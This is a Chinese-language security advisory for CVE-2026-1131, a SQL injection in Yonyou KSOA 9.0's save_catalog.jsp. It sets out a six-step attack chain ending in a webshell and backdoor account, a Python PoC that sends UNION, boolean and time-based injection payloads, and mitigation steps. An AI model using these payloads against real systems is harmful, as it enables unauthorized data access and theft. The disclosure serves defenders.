IPBUF安全漏洞报告
English
CVE-2026-1131 CVSS 7.3 高危

CVE-2026-1131: 用友KSOA 9.0 save_catalog.jsp SQL注入漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-1131
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
用友KSOA 9.0

相关标签

SQL注入用友KSOACVE-2026-1131高危漏洞远程代码执行Web安全数据库安全JSP注入

漏洞概述

CVE-2026-1131是影响用友KSOA 9.0版本的一个高危SQL注入漏洞。该漏洞存在于Web应用的/kmc/save_catalog.jsp文件中,具体问题出现在HTTP GET参数处理过程中。攻击者可以通过操纵catalogid参数注入恶意SQL语句,从而实现对数据库的未授权访问和操作。由于该漏洞可通过网络远程利用,且无需任何认证和用户交互,因此具有极高的安全风险。攻击者可能利用此漏洞读取、修改或删除数据库中的敏感信息,包括用户凭证、业务数据和系统配置信息等。用友公司已收到该漏洞的通报,但截至目前尚未做出任何响应或发布官方修复补丁。该漏洞的PoC(概念验证代码)已在公开渠道披露,意味着一旦被恶意利用,可能对使用该产品的企业造成严重的数据安全威胁和业务中断风险。

技术细节

该SQL注入漏洞位于用友KSOA 9.0的/kmc/save_catalog.jsp文件中的HTTP GET参数处理器。当应用程序处理catalogid参数时,未对用户输入进行充分的输入验证和SQL语句参数化处理。攻击者可以在catalogid参数中构造恶意的SQL payloads,如使用单引号、UNION SELECT、AND条件语句等SQL语法元素。典型的攻击Payload可能包括:catalogid=1' UNION SELECT...或catalogid=1 AND SLEEP()等。由于参数直接拼接到SQL查询语句中,攻击者可以绕过认证机制、提取数据库中的敏感信息(如管理员密码哈希、用户数据等)、修改数据库内容,甚至在某些配置下执行系统命令。CVSS 3.1评分7.3(高危)反映了该漏洞的高可利用性和中等影响范围。攻击复杂度低,无需特殊权限或用户交互即可实施攻击。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标网站使用的用友KSOA 9.0系统,并定位/kmc/save_catalog.jsp端点
STEP 2
步骤2
漏洞探测:使用SQL注入测试Payload(如单引号、UNION SELECT等)探测catalogid参数是否存在SQL注入漏洞
STEP 3
步骤3
构造恶意Payload:根据目标数据库类型(MySQL/SQL Server/Oracle等),构造针对性的SQL注入语句
STEP 4
步骤4
数据提取:利用UNION-based或Boolean-based盲注技术,提取数据库中的敏感信息(如用户表、密码哈希等)
STEP 5
步骤5
权限提升:在获取数据库凭据后,尝试通过数据库系统函数执行系统命令或进一步横向移动
STEP 6
步骤6
持久化控制:写入Webshell或创建后门账户,实现长期访问控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-1131 SQL Injection PoC # Target: Yonyou KSOA 9.0 /kmc/save_catalog.jsp # Vulnerability: SQL Injection via catalogid parameter import requests import sys def test_sql_injection(target_url): """Test for SQL injection vulnerability in catalogid parameter""" # Normal request normal_params = {'catalogid': '1'} # SQL injection payloads payloads = [ "1'", # Basic injection test "1' OR '1'='1", # OR injection "1' AND SLEEP(5)-- -", # Time-based blind injection "1' UNION SELECT NULL-- -", # Union-based injection "1' UNION SELECT table_name FROM information_schema.tables-- -" # Data extraction ] print(f"[*] Testing target: {target_url}") print(f"[*] Normal request: catalogid=1") try: # Test normal request response = requests.get(f"{target_url}/kmc/save_catalog.jsp", params=normal_params, timeout=10) print(f"[+] Normal response status: {response.status_code}") # Test SQL injection payloads for payload in payloads: print(f"\n[*] Testing payload: {payload}") params = {'catalogid': payload} response = requests.get(f"{target_url}/kmc/save_catalog.jsp", params=params, timeout=15) print(f"[*] Response status: {response.status_code}") print(f"[*] Response length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False return True if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://target-server.com" # Replace with actual target test_sql_injection(target)

影响范围

用友KSOA 9.0

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1)使用Web应用防火墙对/kmc/save_catalog.jsp路径的请求进行过滤,拦截包含单引号、UNION、SELECT等SQL关键字的请求;2)通过ACL或网络层访问控制,限制对该路径的访问来源;3)启用数据库审计日志,监控异常查询行为;4)对业务系统进行紧急安全评估,确认是否已被攻击者利用;5)建议业务部门暂时关闭非必要功能,待官方修复后再恢复使用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表